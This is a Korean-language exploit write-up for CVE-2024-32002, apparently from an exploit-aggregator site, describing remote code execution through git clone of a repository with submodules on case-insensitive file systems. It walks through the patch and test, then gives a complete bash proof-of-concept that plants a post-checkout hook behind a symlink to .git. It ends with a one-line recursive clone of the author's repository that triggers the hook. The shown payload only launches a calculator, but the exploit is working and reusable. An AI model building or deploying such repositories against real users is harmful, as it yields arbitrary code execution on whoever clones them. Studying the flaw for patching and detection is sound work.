Share
## https://sploitus.com/exploit?id=D815A4F5-422B-5F77-BF23-ABAC39C8C0E7
# git clone์„ ํ†ตํ•œ Remote Code Execution ๊ณต๊ฒฉ (CVE-2024-32002)

<strong>๊ธฐ์—ฌ์ž</strong>
<br/>

-   [์ด์ •์šฐ@Roronoawjd](https://github.com/Roronoawjd)

## ๋ฐฐ๊ฒฝ ์„ค๋ช…
ํ•ด๋‹น ์ทจ์•ฝ์ ์€ ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š๋Š” Windows, MacOS์™€ ๊ฐ™์€ ํŒŒ์ผ ์‹œ์Šคํ…œ์—์„œ submodule์„ ํฌํ•จํ•˜๋Š” git ์ €์žฅ์†Œ๋ฅผ cloneํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” `RCE(Remote Code Execution)` ์ทจ์•ฝ์ ์ด๋‹ค. RCE๋Š” ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ์ทจ์•ฝ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ๋Œ€์ƒ ์‹œ์Šคํ…œ์—์„œ ์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์•„์ฃผ ์น˜๋ช…์ ์ธ ์ทจ์•ฝ์ ์ด๋‹ค.
`A/modules/x` ๊ณผ `a/modules/x`์€ ๋™์ผํ•œ ๊ฒฝ๋กœ๋กœ ์ทจ๊ธ‰๋œ๋‹ค. ์ด๋Ÿฌํ•œ ํŠน์ง•๊ณผ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์œ ๋ฐœํ•œ๋‹ค.

## ์ทจ์•ฝ์  ์ •๋ณด
- ํ•ด๋‹น POC๋Š” Windows์™€ MAC ์‹œ์Šคํ…œ์—์„œ๋งŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.
- `git config --global core.symlinks false`๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ์—๋Š” ๊ณต๊ฒฉ์ด ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.


## ์ทจ์•ฝ์  ๋ถ„์„
[์ทจ์•ฝ์  ํŒจ์น˜ ํ™•์ธ](https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d)

### `builtin/submodule--helper.c`
dir_contains_only_dotgit ํ•จ์ˆ˜: ๋””๋ ‰ํ„ฐ๋ฆฌ์— .git ํŒŒ์ผ๋งŒ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ๋‹ค๋ฅธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋„ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๋‹ค๋ฅธ ํŒŒ์ผ์ด๋‚˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์žˆ์œผ๋ฉด ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.
clone_submodule ํ•จ์ˆ˜: cloneํ•˜๊ธฐ ์ „์— ํ•˜์œ„ ๋ชจ๋“ˆ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์กด์žฌํ•˜๊ณ  ๋น„์–ด์žˆ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

### `t/t7406-submodule-update.sh`

### 1. Global ๊ตฌ์„ฑ
```sh
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
```
- ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋Š” Git ๊ตฌ์„ฑ ์˜ต์…˜์„ ์„ค์ •ํ•œ๋‹ค. protocol.file.allow always๋ฅผ ํ†ตํ•ด Git์˜ ํŒŒ์ผ ํ”„๋กœํ† ์ฝœ์„ ํ™œ์„ฑํ™” ํ•œ๋‹ค.
- core.symlinks true๋ฅผ ์„ค์ •ํ•˜์—ฌ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•œ๋‹ค.
- tell_tale_path๋Š” RCE๊ฐ€ ์ œ๋Œ€๋กœ ์ž˜ ์ž‘๋™๋ฌ๋Š”์ง€ ํ™•์ธํ•˜๋Š”๋ฐ ์‚ฌ์šฉํ•œ๋‹ค.

### 2. hook ์„ค์ •
```sh
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
```
- hook ๋ ˆํผ์ง€ํ† ๋ฆฌ๋ฅผ ์ดˆ๊ธฐํ™” ํ•œ๋‹ค.
- post-checkout์ด๋ผ๋Š” hook์„ ์ƒ์„ฑ
- hook ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ €์žฅ์†Œ์— ์ปค๋ฐ‹

### 3. ๋ฉ”์ธ ์ €์žฅ์†Œ ์„ค์ •
```sh
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
```
- hook์˜ ๊ฒฝ๋กœ ์ €์žฅ
- captin์ด๋ผ๋Š” ๋‹ค๋ฅธ ๋ ˆํผ์ง€ํ† ๋ฆฌ ์ดˆ๊ธฐํ™”
- hook ์ €์žฅ์†Œ๋ฅผ `A/modules/x`์— ํ•˜์œ„๋ชจ๋“ˆ๋กœ ์ถ”๊ฐ€ํ•œ ํ›„ ์ปค๋ฐ‹
- .git์„ ๊ฐ€๋ฆฌํ‚ค๋Š” a๋ผ๋Š” ์‹ฌ๋ณผ๋ฆญ๋งํฌ ์ƒ์„ฑ

### 4. ํ…Œ์ŠคํŠธ
```sh
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
```
- RCE๊ฐ€ ์ž‘๋™๋๋Š”์ง€ ํ™•์ธ

### POC ์ œ์ž‘
```sh
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked
```

git์€ ํŠน์ • ์ด๋ฒคํŠธ๊ฐ€ ์ƒ๊ฒผ์„ ๋•Œ ์ž๋™์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋กํ•˜๋Š” hook์ด๋ผ๋Š” ๊ฒƒ์ด ์กด์žฌํ•œ๋‹ค. ์œ„์น˜๋Š” .git/hooks ๋””๋ ‰ํ† ๋ฆฌ์— ์กด์žฌํ•œ๋‹ค.
post-checkout์€ checkoutํ•œ ํ›„์— ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ์ด๋‹ค.

![image](https://github.com/Roronoawjd/git_rce/assets/105417063/95806f9f-1f69-46df-a71e-ac6bf97b318b)

์ˆœ์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.
1. clone ์ €์žฅ์†Œ git_rce์— `.git`์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ์‹ฌ๋ณผ๋ฆญ ๋งํฌ `a`๊ฐ€ ์ƒ์„ฑ
2. git cloneํ•  ๋•Œ ํ•˜์œ„ ๋ชจ๋“ˆ์˜ ๊ฒฝ๋กœ๊ฐ€ `A/modules/x`๊ฐ€ ์•„๋‹ˆ๋ผ `a/modules/x`๋กœ ์ธ์‹๋จ
3. `a`๋Š” `.git`์„ ๊ฐ€๋ฆฌํ‚ค๊ธฐ ๋•Œ๋ฌธ์— `.git`์— `/modules/x`๊ฐ€ ์ƒ๊ธฐ๊ณ  `y/hooks/post-checkout`์ด ์ƒ์„ฑ๋จ
4. checkout ์„ฑ๊ณต ํ›„ ์ž๋™ ํ›„ `git_rce/.git/modules/x/y/hooks/post-checkout`๊ฐ€ ์‹คํ–‰๋˜์–ด RCE๊ฐ€ ๋ฐœ์ƒํ•จ

## POC(Proof of Concept)
โš ๏ธ๊ฒฝ๊ณ : ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ์•…์˜์ ์œผ๋กœ ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์‹œ์˜ค!
<pre><code>git clone --recursive https://github.com/Roronoawjd/git_rce.git</code></pre>
์ฐธ๊ณ : Windows์—์„œ๋Š” ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ cmd๋‚˜ bash์‰˜์„ ์—ด์–ด์„œ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.